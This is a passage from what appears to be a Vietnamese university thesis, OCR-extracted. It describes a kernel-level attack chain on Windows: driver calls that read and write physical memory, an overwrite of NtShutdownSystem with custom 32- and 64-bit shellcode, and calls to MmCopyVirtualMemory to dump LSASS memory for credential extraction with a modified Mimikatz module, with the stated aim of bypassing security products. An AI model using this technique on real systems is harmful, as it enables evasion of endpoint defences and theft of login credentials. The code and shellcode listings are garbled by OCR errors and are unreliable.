Hình 6 Sao chép dữ liệu giữa hai vùng nhớ physical
1 BOOL TqvwUnmapToSpace(DHORD_PTR nHappedAddress, DHORD nSize)
21 return DeviceToControl(hDevice, 0x8¢862007, &unmapInfo,
22 sizeof (UnmaploSpaceBufferInfo), nullptr, 9, &dwBytesReturned, nullptr);
23}
Hình 7 Giải phóng ánh xa của dia chi bộ nhớ physical
Việc kết hợp ba chức năng theo hai cách khác nhau đã giúp chúng tôi đọc và ghi bộ
nhớ physical từ ngữ cảnh người dùng Dé ghi vào một địa chỉ trên bộ nhớ physical (như
Hình 8.), chúng tôi ánh xạ dữ liệu từ bộ nhớ virtual đến một vùng tạm ở bộ nhớ physical;
Trang 23Chương 3: Phương Pháp Đề Xuất
thực hiện sao chép từ địa chỉ tạm đến địa chỉ mong muốn; sau đó giải phóng vùng bộ
nhớ tạm vừa được cap.
1 BOOL ReadPhysicMemory(UINT64 nPhysicalAddress, PVOID nBufferAddress, DWORD nSize)
Hình 9 Ghi dữ liệu vào vùng nhớ physical
3.3.2 Cách gọi shellcode thực thi từ ngữ cảnh người dùng
Để có thể gọi shellcode thực thi từ ngữ cảnh người dùng, chúng tôi chọn cách ghi đè nội
dung một WinAPI có sẵn trên bộ nhớ, để từ đó có thể gọi đến shellcode ở ngữ cảnh kernel, và khôi phục lại khi đã đạt kết quả Chúng tôi chon NtShutdownSystem để ghi
dé vi hai lý do chính Thứ nhất, WinAPI này ít được sử dụng bởi phần mềm va hệ thống.
Thứ hai, chức năng này có thé gọi từ ngữ cảnh người dùng thông qua NTDLL, một thư
viện của Windows.
Trang 2418 // TODO: find the maximum of Physical Memory
19 for (DWORD_PTR nPhysicalAddress = @; TRUE; nPhysicalAddress += SEARCH_PAGE_SIZE) {
29 if (IReadPhysicHemory (nPhysicalAddress, buffer.data(), buffer.size()))
2 continue;
22
23 SHORT nOffset = 0;
24 for (5 nOffset < 4096; nOffset++) {
25 if (memcmp((buffer.data() + nOffset), pSignatureBytes, SIGNATURE_SIZE) == 9)
Hình 10 Tìm vị trí của NtShutdownSystem trong bộ nhớ physical
Để tìm vị trí của hàm NtShutdownSystem trong bộ nhớ, chúng tôi lấy các byte đặc
trưng của nó thông qua việc nạp nó lên bộ nhớ Bằng cách nạp cả thư viện ntoskrnl.exe vào bộ nhớ thông qua WinAPI LoadLibrary, chúng tôi dễ dàng lấy được các byte đặc
trưng với WinAPI GetProcAddress Sau đó, chúng tôi bắt đầu tìm từ vị trí 0 của bộ nhớ
physical Mã giả của thuật toán được trình bày trong Hình 10.
Sau khi tìm được địa chỉ của hàm, chúng tôi sẽ ghi nhớ lại đê ghi đè với các shellcode
sau đó Kỹ thuật ghi dữ liệu đã được mô tả ở phan 3.3.1.
Trang 25Chương 3: Phương Pháp Đề Xuất
3.3.3 Phát triển shellcode đọc bộ nhớ của tiến trình
Đề đọc được bộ nhớ của tiến trình chạy trong ngữ cảnh người dùng từ ngữ cảnh kernel,
chúng tôi sử dụng hai hàm PsLookupProcessByProcessId và MmCopyVirtualMemory.
Trong đó, MmCopyVirtualMemory là hàm không có trong tài liệu chính thức của
Microsoft Chúng tôi đã phát triển tổng cộng bốn shellcode bằng ngôn ngữ Assembly dégọi hai hàm trong cả hai kiến trúc 32-bit và 64-bit
Shellcode được phát triển sẽ chứa sẵn các tham sé, còn địa chỉ WinAPI sẽ được
truyền vào theo tham số thứ nhất Phức tạp nhất là việc phát triển phiên bản shellcode 64-bit, chúng tôi phải truyền bốn tham số đầu tiên vào các thanh ghi RCX, RDX, R8 và R9, trong khi tham số thứ năm được lưu trữ trên vùng nhớ stack (như Hình 11 và 12).
0: 48 83 ec 48 sub rsp, 0x48
4: 48 8b c1 mov rax,rcx
7: 48 c7 44 24 50 09 09 mov QWORD PTR [rsp+0x50], 0x0 e: 00 00
59: ff do call rax Sb: 48 8b 44 24 50 mov pax, QWORD PTR [rsp+0x50]
60: 48 83 c4 48 add rsp,0x48
64: c3 ret
Hình 11 Shellcode 64-bit hỗ trợ gọi MmCopyVirtualMemory
Trang 2648 9Ø 48 ff 48 48 3
83 8b c7
00
b9
90
8d do
8b 83
44 c4
8b
ff 8b
90 83 89
98
f8 20
pop ret
edi,edi ebp
ebp,esp
esp, 0x20
DWORD PTR [ebp-0x4],0x0 DWORD PTR [ebp-0x8],0x0 DWORD PTR [ebp-Oxc], 0x0
esp, 0x20 esp,ebp
ebp
Trang 27Chương 3: Phương Pháp Đề Xuất
13: 50
14: ff 75 fc 17: 8b 45 08
da: ff do
1c: 8b 45 f8 1f: 90
20: 83 c4 20 23: 89 ec 25: 5d 26: c3
push
mov
call
mov nop add
Hình 14 Shellcode 32-bit hỗ trợ gọi PsLookupProcessByProcessld
3.3.4 Kết hợp các kỹ thuật để gọi shellcode
Chúng tôi sử dụng một cách sử dụng chung cho nhiều mã shellcode khác nhau dé đảm
bảo hệ thống luôn được khôi phục sau khi hàm được thực thi Cách sử dụng này bao gồm
tám bước (ví dụ, cách gọi WinAPI MmCopyVirtualMemory ở Hình 15):
1.
enn APF YN
Thay thé các byte tham số trong shellcode bằng các tham số thực.
Lấy địa chi physical của NtShutdownSystem trong ntoskrnl.exe dé ghi đè.
Lay địa chi virtual của NtShutdownSystem trong ntdll.dll để chuẩn bi gọi.
Lấy và lưu trữ địa chỉ physical của WinAPI sẽ được sử dụng
Đọc và lưu trữ các byte gốc của NtShutdownSystem đề khôi phục
Ghi shellcode vào địa chỉ physical của NtShutdownSystem.
Truyền tham số (physical của WinAPI ở bước 4) và ép kiểu để thực thi shellco de.
Khôi phục các byte gốc của NtShutdownSystem
Trang 28{ memcpy(helperBytes.data() + 12, &pFromProcess, sizeof(PEPROCESS));
memcpy(helperBytes.data() + 19, &pFromAddress, sizeof(PVOID));
memcpy(helperBytes.data() + 26, &pToProcess, sizeof(PEPROCESS));
memepy(helperBytes.data() + 33, &pToAddress, sizeof(PVOID));
mencpy(helperBytes.data() + 40, &nBufferSize, sizeof(SIZE_T));
if (!ReadPhysicMemory (nOverwriteFuncPhysicalAddress, orgBytes.data(), orgBytes.size()))
Hình 15 Cách sử dung shellcode để gọi WinAPI MmCopyVirtualMemory
3.3.4 Đọc bộ nhớ tiến trình LSASS và trích xuất thông tin đăng nhập
Mục tiêu chính của chúng tôi là bypass các sản phẩm bảo mật và đọc bộ nhớ của tiến trình LSASS Chúng tôi đã tận dụng mã nguồn của Mimikatz dé phân tích thông tin đăng nhập nhằm tiết kiệm thời gian và tài nguyên Chúng tôi đã phát triển một hàm hoạt động giống như ReadProcessMemory WinAPI và tùy chỉnh module kull_m_memory sử dụng
hàm này.